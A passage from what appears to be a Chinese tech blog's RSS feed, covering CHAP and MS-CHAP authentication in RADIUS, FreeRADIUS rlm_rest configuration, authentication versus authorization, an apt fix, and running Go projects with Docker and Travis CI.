&lt;p&gt;举个例子，如果 NAS 要对 PC 进行验证，步骤如下：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;在链路建立后，NAS 向 PC 发送一个 Challenge 包。&lt;/li&gt;
&lt;li&gt;PC 收到该包后，对该包和密码组合后使用哈希函数（如 MD5）计算出密文放入 Response 包中，并发送回 NAS。&lt;/li&gt;
&lt;li&gt;NAS 收到密文后，对原本的 Challenge 和密码进行哈希，得到另一组密文。如果这两组密文相同则表示验证通过并发送 Success 包，不相同则表示验证失败并发送 Failure 包。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;具体工作细节如下：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;PC &amp;lt;---&amp;gt; NAS：NAS 向 PC 发送一个 Challenge 包，该包中的值是随机的，然后 PC 将用户输入的明文密码和接收到的 Challenge 包加密后将用户名和密文打包后发送给 NAS。&lt;/li&gt;
&lt;li&gt;NAS &amp;lt;---&amp;gt; AAA：NAS 收到 PC 发送的认证请求后，将用户名和密文打包进 RADIUS 数据包中的 User-Name 和 CHAP-Passowrd 中，还需要携带 Challenge 给 RADIUS 服务器，否则服务器无法验证，一般选择放入 CHAP-Challenge 或 Authenticator 中。NAS 将以上数据发送给 RADIUS 服务器后，服务器在本地读取明文密码，加上 Challenge 后用相同哈希函数计算出密文，与 CHAP-Password 进行对比后得到认证结果。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;在 FreeRADIUS 中，一般是先从复杂的协议开始确认，比如先在属性中查找是否有 CHAP-Password 属性，如果有就当作 CHAP 处理，如果没有找到 CHAP-Password ，再查找是否有 User-Password 属性，如果有就当作 PAP 处理。&lt;/p&gt;
&lt;p&gt;特点有：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;要求客户端和服务器都知道密钥，而这个密钥不是通过链路传输的。&lt;/li&gt;
&lt;li&gt;虽然认证是单向的，但是在两个方向都可以进行，同一密钥可以很容易的实现相互认证。&lt;/li&gt;
&lt;li&gt;在大型网络中不适用，因为每个密钥由链路的两端共同维护，这样会开销会指数性提升。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;具体包格式如下：&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Description&lt;/th&gt;
&lt;th&gt;1 byte&lt;/th&gt;
&lt;th&gt;1 byte&lt;/th&gt;
&lt;th&gt;2 bytes&lt;/th&gt;
&lt;th&gt;1 byte&lt;/th&gt;
&lt;th&gt;Variable&lt;/th&gt;
&lt;th&gt;variable&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Challenge&lt;/td&gt;
&lt;td&gt;Code = 1&lt;/td&gt;
&lt;td&gt;ID&lt;/td&gt;
&lt;td&gt;Length&lt;/td&gt;
&lt;td&gt;Challenge Length&lt;/td&gt;
&lt;td&gt;Challenge value&lt;/td&gt;
&lt;td&gt;Name&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Response&lt;/td&gt;
&lt;td&gt;Code = 2&lt;/td&gt;
&lt;td&gt;ID&lt;/td&gt;
&lt;td&gt;Length&lt;/td&gt;
&lt;td&gt;Response Length&lt;/td&gt;
&lt;td&gt;Response value&lt;/td&gt;
&lt;td&gt;Name&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Success&lt;/td&gt;
&lt;td&gt;Code = 3&lt;/td&gt;
&lt;td&gt;ID&lt;/td&gt;
&lt;td&gt;Length&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;Message&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Failure&lt;/td&gt;
&lt;td&gt;Code = 4&lt;/td&gt;
&lt;td&gt;ID&lt;/td&gt;
&lt;td&gt;Length&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;Message&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;MS-CHAP&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;微软询问握手认证协议（MS-CHAP, Microsoft Challenge-Handshake Authentication Protocol）&lt;/strong&gt; 有两个版本 MS-CHAPv1 和 MS-CHAPv2，这两个版本分别由 &lt;a href=&quot;https://tools.ietf.org/html/rfc2433&quot;&gt;RFC 2433&lt;/a&gt; 和 &lt;a href=&quot;https://tools.ietf.org/html/rfc2759&quot;&gt;RFC 2759&lt;/a&gt; 定义，用作与 IEEE 802.1X 一起使用的 RADIUS 服务器的身份验证选项（如使用 WPA-Enterprise 的 WiFi 认证），更进一步用作 PEAP 的主要身份验证选项。&lt;/p&gt;
&lt;p&gt;MS-CHAPv1 的基本思想就是发送的 Response 包不再是 CHAP 中的 MD5(明文密码 + Challenge) 的形式了，而是把明文密码改成 MS 加密后的密文，也就是说 PC 发送密码时使用单向加密后的密码再加密。&lt;/p&gt;
&lt;p&gt;所以认证端也不用明文密码，但只有明文密码的话，可以对明文密码进行和 MS 一样的加密来获取密文。&lt;/p&gt;
&lt;p&gt;现在大多数厂商都已经弃用 MS-CHAPv1，而在其基础上 MS-CHAPv2 可以通过在 Response 包上承载对等质询，并在 Success 包上承载身份验证器响应，来提供对等方之间的相互身份验证。&lt;/p&gt;
&lt;p&gt;MS-CHAPv2 的具体工作细节如下：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;PC &amp;lt;---&amp;gt; NAS：NAS 向 PC 发送一个 Challenge 包，PC 进行响应。&lt;/li&gt;
&lt;li&gt;NAS &amp;lt;---&amp;gt; AAA：NAS 收到 PC 的响应后，组织好 MSCHAP-Challenge 和 MSCHAP-Response 属性发送给 RADIUS 服务器，然后服务器在本地读取明文密码（或 LM-Password、NT-Password），加上 MSCHAP-Challenge 后计算出密文，与收到的 MSCHAP-Response 进行对比后得到认证结果。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;与单纯的 CHAP 相比，MS-CHAP 的特点有：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;通过协商 LCP 选项三身份验证协议中的 CHAP 算法为 0x80 来启用 MS-CHAPv1，对于 MS-CHAPv2 来说则是 0x81。&lt;/li&gt;
&lt;li&gt;新增了一个认证者控制的密码变更机制。&lt;/li&gt;
&lt;li&gt;新增了一个认证者控制的认证重试机制。&lt;/li&gt;
&lt;li&gt;新增了一个在失败数据包消息字段中返回的失败代码。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;MS-CHAPv1 和 MS-CHAPv2 的包格式基本与 CHAP 相同。&lt;/p&gt;
&lt;h2&gt;参考链接&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/RADIUS&quot;&gt;RADIUS - Wikipedia&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://tools.ietf.org/html/rfc2865&quot;&gt;RFC 2865 - Remote Authentication Dial In User Service (RADIUS)&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://tools.ietf.org/html/rfc2866&quot;&gt;RFC 2866 - RADIUS Accounting&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://tonydeng.github.io/sdn-handbook/sdn/aaa/radius.html&quot;&gt;Radius · GitBook&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;http://lishiwen4.github.io/wifi/EAP-method&quot;&gt;EAP 认证&lt;/a&gt;&lt;/p&gt;
</content:encoded><category>RADIUS</category></item><item><title>在 FreeRADIUS 上配置 rlm_rest</title><link>https://www.sulinehk.com/post/config-rlm_rest-on-freeradius/</link><guid isPermaLink="true">https://www.sulinehk.com/post/config-rlm_rest-on-freeradius/</guid><description>介绍了如何在 FreeRADIUS 上配置 rlm_rest。</description><pubDate>Wed, 25 Sep 2019 12:00:42 GMT</pubDate><content:encoded>&lt;p&gt;从 3.0.x 版本开始，FreeRADIUS 开始支持 rlm_rest 模块，顾名思义，该模块可用于将 RADIUS 身份验证请求转换为 HTTP 请求，该请求符合 REST 规范。&lt;/p&gt;
&lt;p&gt;但是，模块当前未实现 RADIUS 的所有功能，例如质询响应身份验证和属性映射，所以不支持 MS-CHAPv2 等协议。&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h2&gt;安装&lt;/h2&gt;
&lt;p&gt;Ubuntu 17.04 和 Debian 9 是首个包含 FreeRADIUS 3.0.x 版本的操作系统。&lt;/p&gt;
&lt;p&gt;在这些操作系统中，所需的软件包可以如下安装：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo apt-get install freeradius freeradius-rest
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;配置&lt;/h2&gt;
&lt;p&gt;首先，需要在 FreeRADIUS 上通过软连接启用 rlm_rest 模块：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;cd /etc/freeradius/mods-enabled
ln -s ../mods-available/rest .
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然后，在 &lt;em&gt;/etc/freeradius/users&lt;/em&gt; 文件中配置身份验证类型：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;DEFAULT Auth-Type := rest
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;而站点配置应按以下方式调用该模块：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;authenticate {
     Auth-Type rest {
        rest
     }
     digest
     unix
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;最后，通过 &lt;em&gt;/etc/freeradius/mods-enabled/rest&lt;/em&gt; 文件配置模块本身：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;connect_uri = &quot;https://127.0.0.1/&quot;

authenticate
    uri = &quot;${..connect_uri}/check&quot;
    method = &apos;post&apos;
    body = &apos;post&apos;
    data = &quot;user=%{urlquote:%{User-Name}}&amp;amp;pass=%{urlquote:%{User-Password}}&quot;
    force_to = &apos;plain&apos;
    tls = ${..tls}
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;测试&lt;/h2&gt;
&lt;p&gt;如果你的 &lt;em&gt;clients.conf&lt;/em&gt; 已经正确配置，那么 FreeRADIUS 现在是可以正常响应身份验证请求的。可作如下测试：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;echo &quot;User-Name=username, User-Password=password&quot; | radclient -sx RADIUSServerAdress auth secret
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;该命令的作用是发送一条身份验证请求到 RADIUS 服务器。&lt;/p&gt;
&lt;p&gt;通过监听在 &lt;em&gt;https://127.0.0.1/check&lt;/em&gt; 上的 HTTP 请求，可以正确得到用户名和密码信息。&lt;/p&gt;
&lt;h2&gt;参考链接&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://networkradius.com/doc/current/raddb/mods-available/rest.html&quot;&gt;rest | FreeRADIUS Documentation&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://privacyidea.readthedocs.io/en/latest/application_plugins/rlm_rest.html&quot;&gt;Configuration of rlm_rest&lt;/a&gt;&lt;/p&gt;
</content:encoded><category>RADIUS</category></item><item><title>Authentication 和 Authorization 之间的区别</title><link>https://www.sulinehk.com/post/difference-between-authentication-and-authorization/</link><guid isPermaLink="true">https://www.sulinehk.com/post/difference-between-authentication-and-authorization/</guid><description>介绍了 Authentication 和 Authorization 之间的区别。</description><pubDate>Mon, 23 Sep 2019 13:00:30 GMT</pubDate><content:encoded>&lt;p&gt;&lt;strong&gt;Authentication 和 Authorization 分别被译为身份验证和授权&lt;/strong&gt;，这两个术语经常在我们谈及计算机安全的时候经常同时出现，再加上它们的的英语单词非常相似，所以我们经常分不清楚，但实际上它们所表达的意思是截然不同的。&lt;/p&gt;
&lt;p&gt;本文将介绍 Authentication 和 Authorization 之间的区别，以及它们又包含了什么意思。&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h2&gt;Authentication&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Authentication（身份验证）&lt;/strong&gt; 是关于检查你的凭据以验证你的身份，如：用户名和密码。&lt;/p&gt;
&lt;p&gt;有时还与身份验证因素结合使用，身份验证因素决定了系统在向某人授予任何访问权限之前用来验证其身份的各种元素。&lt;/p&gt;
&lt;p&gt;根据安全级别，身份验证因素有以下几种：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;单因素（Single-Factor）身份验证：这是最简单的身份验证方法，通常依靠用户名和密码来授予用户对系统的访问权限。&lt;/li&gt;
&lt;li&gt;双因素（Two-Factor）身份验证：顾名思义，这是一个两步验证过程，不仅需要用户名和密码，而且还需要用户知道的一些内容，以确保附加的安全级别，如：安全提问、手机验证码。&lt;/li&gt;
&lt;li&gt;多因素（Multi-Factor）身份验证：这是相当安全的身份验证方法，使用超过两个的因素来授予用户对系统的访问权限。所有因素都应相互独立，以消除系统中的漏洞。金融组织，银行和政府机关使用多因素身份验证来保护其数据和应用程序免受潜在威胁。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;举个例子，当你在 ATM 机中插入银行卡后，机器会要求你输入密码。正确输入密码后，银行会确认你的身份，该卡确实属于你，并且你是该卡的合法所有者。&lt;/p&gt;
&lt;p&gt;通过验证你的银行卡密码，银行实际上是在验证你的身份，这被称为身份验证。它仅仅识别你的身份，不做其它工作。&lt;/p&gt;
&lt;h2&gt;Authorization&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Authorization（授权）&lt;/strong&gt; 是确定经过身份验证的用户是否有权访问特定资源的过程。&lt;/p&gt;
&lt;p&gt;它验证您访问诸如数据库、文件等资源的权利。授权通常在身份验证之后进行，以确认您的执行特权。也就是说，授权决定了您访问系统的能力以及访问程度。&lt;/p&gt;
&lt;p&gt;对系统的访问受身份验证和授权保护，任何访问系统的请求都可以通过输入有效的凭据进行身份验证，但是只有在成功授权后才会被接受。如果请求已通过验证但未获得授权，则系统将拒绝对系统的访问。&lt;/p&gt;
&lt;p&gt;再举个例子，验证和确认组织中员工 ID 和密码的过程被称为身份验证，但确定哪个员工有权访问哪个楼层才被称为授权。&lt;/p&gt;
&lt;h2&gt;总结&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Authentication&lt;/th&gt;
&lt;th&gt;Authorization&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;身份验证确认您的身份以授予对系统的访问权限&lt;/td&gt;
&lt;td&gt;授权确定您是否有权访问资源&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;这是验证用户凭据以获得用户访问权限的过程&lt;/td&gt;
&lt;td&gt;这是验证是否允许访问的过程&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;它确定用户是否是他声称的身份&lt;/td&gt;
&lt;td&gt;它确定用户可以访问和不能访问的内容&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;身份验证通常需要用户名和密码&lt;/td&gt;
&lt;td&gt;授权所需的身份验证因素可能会有所不同，具体取决于安全级别&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;身份验证是授权的第一步，因此始终优先&lt;/td&gt;
&lt;td&gt;成功进行身份验证后，将完成授权&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;特定大学的学生在访问大学官方网站的学生链接之前，必须先进行身份验证&lt;/td&gt;
&lt;td&gt;授权可以确定成功认证后学生有权在大学网站上访问的信息&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;总的来说，身份验证和授权之间的区别在于：&lt;strong&gt;身份验证意味着确认您自己的身份，而授权意味着授予对系统的访问权限；身份验证是验证您身份的过程，而授权是验证您有权访问的过程。&lt;/strong&gt;&lt;/p&gt;
&lt;h2&gt;参考链接&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://zh.wikipedia.org/wiki/%E8%BA%AB%E4%BB%BD%E9%AA%8C%E8%AF%81&quot;&gt;身份验证 - 维基百科，自由的百科全书&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://zh.wikipedia.org/wiki/%E6%8E%88%E6%AC%8A_(%E8%B3%87%E5%AE%89)&quot;&gt;授权 (信息安全) - 维基百科，自由的百科全书&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;http://www.differencebetween.net/technology/difference-between-authentication-and-authorization/&quot;&gt;Difference between Authentication and Authorization | Difference Between&lt;/a&gt;&lt;/p&gt;
</content:encoded><category>Misc</category></item><item><title>修复 add-apt-repository command not found 错误</title><link>https://www.sulinehk.com/post/fix-add-apt-repository-command-not-found/</link><guid isPermaLink="true">https://www.sulinehk.com/post/fix-add-apt-repository-command-not-found/</guid><description>介绍了如何修复 add-apt-repository command not found。</description><pubDate>Sat, 21 Sep 2019 14:36:30 GMT</pubDate><content:encoded>&lt;p&gt;本文将向你展示如何修复在 Ubuntu、Debian 和其它基于 Debian 的 Linux 发行版上出现的 add-apt-repository command not found 错误。&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;我们在 Ubuntu 和 Debian 上安装软件包时经常会使用到 PPA（Personal Package Archive）。&lt;/p&gt;
&lt;p&gt;如果要添加新的 PPA 存储库，则需要使用 add-apt-repository 命令，如：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo add-apt-repository ppa:example/ppa
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;但有时会出现 add-apt-repository 命令未找到的错误，如：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo: add-apt-repository: command not found
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;发生这个错误的原因是该系统未安装 add-apt-repository 命令。&lt;/p&gt;
&lt;p&gt;但如果你使用 &lt;em&gt;sudo apt-get install add-apt-repository&lt;/em&gt; 是无法修复的。&lt;/p&gt;
&lt;p&gt;这是因为 add-apt-repository 命令实际上是软件包 &lt;em&gt;software-properties-common&lt;/em&gt; 的一部分。&lt;/p&gt;
&lt;p&gt;所以我们应该安装该包，如：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo apt-get install software-properties-common
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;安装完成后应使用如下命令更新系统：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo apt-get update
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;更新完后使用 add-apt-repository 添加 PPA 时就不会发生错误了。&lt;/p&gt;
</content:encoded><category>Ubuntu</category></item><item><title>在 Go 语言项目中使用 Docker</title><link>https://www.sulinehk.com/post/using-docker-on-golang-project/</link><guid isPermaLink="true">https://www.sulinehk.com/post/using-docker-on-golang-project/</guid><description>介绍了如何在 Go 语言项目中使用 Docker。</description><pubDate>Tue, 20 Aug 2019 13:31:24 GMT</pubDate><content:encoded>&lt;p&gt;&lt;strong&gt;容器（Container）&lt;/strong&gt; 将程序及其所需的任何内容捆绑在一起，包括依赖项、工具和配置文件等等。这样使得程序不受环境的干扰，真正意义上做到开发环境和生成环境完全一致。&lt;/p&gt;
&lt;p&gt;而 Docker 在容器的基础上，进行了进一步的封装，从文件系统、网络互联到进程隔离等等，极大的简化了容器的创建和维护。与传统虚拟机相比，Docker 也有许多优点，如：更高效的系统资源利用和更快速的启动时间。&lt;/p&gt;
&lt;p&gt;在本文中，通过一个简单的 Go 语言项目，您将学习如何在 Go 语言项目中使用 Docker。&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h2&gt;创建一个简单的 Go 语言项目&lt;/h2&gt;
&lt;p&gt;让我们来创建一个作为示例的 Go 语言项目。在命令行下输入以下命令以创建文件夹：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;mkdir gdp
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;我们将使用 Go Module 进行依赖性管理。转到项目的根目录，然后初始化 Go Module：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;cd gdp
go mod init github.com/linehk/gdp
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;我们将创建一个简单的 hello 服务器。在项目根目录中创建一个名为 &lt;strong&gt;hello_server.go&lt;/strong&gt; 的新文件：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;touch hello_server.go
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;文件内容如下：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;package main

import (
	&quot;fmt&quot;
	&quot;log&quot;
	&quot;net/http&quot;
	&quot;time&quot;

	&quot;github.com/gorilla/mux&quot;
)

func handler(w http.ResponseWriter, r *http.Request) {
	query := r.URL.Query()
	name := query.Get(&quot;name&quot;)
	if name == &quot;&quot; {
		name = &quot;Guest&quot;
	}
	log.Printf(&quot;Received request for %s.\n&quot;, name)
	w.Write([]byte(fmt.Sprintf(&quot;Hello, %s!\n&quot;, name)))
}

func main() {
	r := mux.NewRouter()
	r.HandleFunc(&quot;/&quot;, handler)
	server := &amp;amp;http.Server{
		Handler:      r,
		Addr:         &quot;:8080&quot;,
		ReadTimeout:  10 * time.Second,
		WriteTimeout: 10 * time.Second,
	}
	log.Println(&quot;Starting Server.&quot;)
	if err := server.ListenAndServe(); err != nil {
		log.Fatal(err)
	}
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;该项目使用 &lt;em&gt;gorilla/mux&lt;/em&gt; 包来创建 HTTP 路由（导入包是为了展示 Docker 容器捆绑依赖项的作用），地址是 &lt;em&gt;localhost:8080&lt;/em&gt;。&lt;/p&gt;
&lt;h2&gt;尝试在本地编译并运行项目&lt;/h2&gt;
&lt;p&gt;让我们先尝试在本地编译和运行项目。可以在项目根目录输入以下命令来编译项目：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;go build
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;go build 命令将会生成一个名为 &lt;strong&gt;gdp&lt;/strong&gt; 的可执行文件。可以像这样运行该文件：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;./gdp
2020/08/19 21:33:49 Starting Server.
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;我们的 hello 服务器现在正在运行，可以尝试使用 &lt;strong&gt;curl&lt;/strong&gt; 或其它工具与其交互：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;curl http://localhost:8080
Hello, Guest!
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;curl http://localhost:8080?name=sulinehk
Hello, sulinehk!
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;编写 Dockerfile 定义 Docker 镜像&lt;/h2&gt;
&lt;p&gt;让我们来为这个项目编写 &lt;strong&gt;Dockerfile&lt;/strong&gt;，在根目录创建文件名为 Dockerfile 的文件，内容如下：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# 拉取 Go 语言最新的基础镜像
FROM golang:latest

# 在容器内设置 /app 为当前工作目录
WORKDIR /app

# 把文件复制到当前工作目录
COPY . .

# 设置 GOPROXY 环境变量
ENV GOPROXY=&quot;https://goproxy.cn&quot;

# 下载全部依赖项
RUN go mod download

# 编译项目
RUN go build -o gdp .

# 暴露 8080 端口
EXPOSE 8080

# 执行可执行文件
CMD [&quot;./gdp&quot;]
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;构建镜像和运行容器&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;镜像（Image）&lt;/strong&gt; 是实际的软件分发包，其中包含运行应用程序所需的所有内容。&lt;/p&gt;
&lt;p&gt;而容器根据镜像构建，是镜像的运行示例，类似 Go 语言中结构体定义和结构体变量之间的关系。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;构建镜像：&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;docker build -t gdp .
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;运行容器：&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;docker run -d -p 8080:8080 gdp
aa6a1afbe1b13ad0b0d1d656e157f762c5fe2229a8e0d95a025df26396ffc08f
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;与容器内运行的服务器交互：&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;curl http://localhost:8080
Hello, Guest!
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;curl http://localhost:8080?name=sulinehk
Hello, sulinehk!
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;下面是一些其它的 Docker 命令：&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h2&gt;总结&lt;/h2&gt;
&lt;p&gt;可以看出，一个定义良好的 Dockfile 文件在整个流程中起到承上启下的作用。&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h2&gt;参考链接&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://yeasy.gitbooks.io/docker_practice/&quot;&gt;Docker — 从入门到实践&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://docs.docker.com/&quot;&gt;Docker Documentation&lt;/a&gt;&lt;/p&gt;
</content:encoded><category>Golang</category></item><item><title>在 Go 语言项目中使用 Travis CI</title><link>https://www.sulinehk.com/post/using-travis-ci-on-golang-project/</link><guid isPermaLink="true">https://www.sulinehk.com/post/using-travis-ci-on-golang-project/</guid><description>介绍了如何在 Go 语言项目中使用 Travis CI，从而提高软件质量。</description><pubDate>Mon, 15 Jul 2019 13:46:18 GMT</pubDate><content:encoded>&lt;p&gt;Travis CI 是一种免费的持续集成服务，而 &lt;strong&gt;持续集成（CI, Continuous integration）&lt;/strong&gt; 是一种软件工程流程，概括来讲就是多提交小的 Commit 来更快的发现软件的 Bug，从而提高软件质量。&lt;/p&gt;
&lt;p&gt;本文会详细介绍如何在 Go 语言项目中使用 Travis CI。&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h2&gt;准备工作&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/&quot;&gt;GitHub&lt;/a&gt; 账号：用于保存项目。&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://travis-ci.org/&quot;&gt;Travis CI&lt;/a&gt; 账号：点击右上角的 &lt;strong&gt;Sign in with GitHub&lt;/strong&gt; 即可通过 GitHub 创建关联账号。&lt;/li&gt;
&lt;li&gt;示例项目 hello，它包含三个文件：&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;hello.go：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;package hello

func Hello() string { return &quot;Hello, World!&quot; }
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;hello_test.go：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;package hello

import (
	&quot;testing&quot;
)

func TestHello(t *testing.T) {
	if got, want := Hello(), &quot;Hello, World!&quot;; got != want {
		t.Errorf(&quot;got %v, want %v&quot;, got, want)
	}
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;go.mod：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;module github.com/linehk/hello

go 1.14
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;该文件通过命令：&lt;code&gt;go mod init github.com/linehk/hello&lt;/code&gt; 生成。&lt;/p&gt;
&lt;h2&gt;建立 GitHub 仓库&lt;/h2&gt;
&lt;p&gt;建立一个 GitHub 仓库，并将上面三个文件组成的 hello 项目推送到仓库。&lt;/p&gt;
&lt;h2&gt;同步仓库到 Travis CI&lt;/h2&gt;
&lt;p&gt;在 &lt;a href=&quot;https://travis-ci.org/account/repositories&quot;&gt;Travis CI 仓库页面&lt;/a&gt;左上角点击 &lt;strong&gt;Sync account&lt;/strong&gt; 来将 GitHub 新创建的仓库同步到 Travis CI。&lt;/p&gt;
&lt;p&gt;并在左边的 &lt;strong&gt;Legacy Services Integration&lt;/strong&gt; 下找到 hello 项目，将其勾选上。如下图所示：&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h2&gt;编写 .travis.yml 文件&lt;/h2&gt;
&lt;p&gt;受益于在 Go 1.13 版本后，Go Modules 是默认开启的情况下，以下就是最简单的 &lt;em&gt;.travis.yml&lt;/em&gt; 文件，&lt;em&gt;.yml&lt;/em&gt; 后缀表示使用的是 &lt;a href=&quot;https://zh.wikipedia.org/wiki/YAML&quot;&gt;YAML 格式&lt;/a&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# 使用 Go 语言（# 号开头的为注释）
language: go

script:
  - go test -v ./...
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;开始集成测试&lt;/h2&gt;
&lt;p&gt;将上一步编写的 &lt;em&gt;.travis.yml&lt;/em&gt; 文件加入仓库并推送至 GitHub。Travis CI 检测到该文件就会根据里面的内容开始测试。之后每次推送都会触发测试。&lt;/p&gt;
&lt;p&gt;在 &lt;a href=&quot;https://travis-ci.org/dashboard&quot;&gt;dashboard&lt;/a&gt; 中可以找到 hello 项目，点击进入就可以看到详细的测试信息。如下图所示：&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h2&gt;Travis CI 徽章&lt;/h2&gt;
&lt;p&gt;点击绿色的 &lt;strong&gt;build passing&lt;/strong&gt; 就能得到徽章的地址，如：&lt;code&gt;https://travis-ci.org/linehk/hello.svg?branch=master&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;可以将它贴在你的 README 文件里，如果项目在某次推送中测试失败，徽章就会变成红色。&lt;/p&gt;
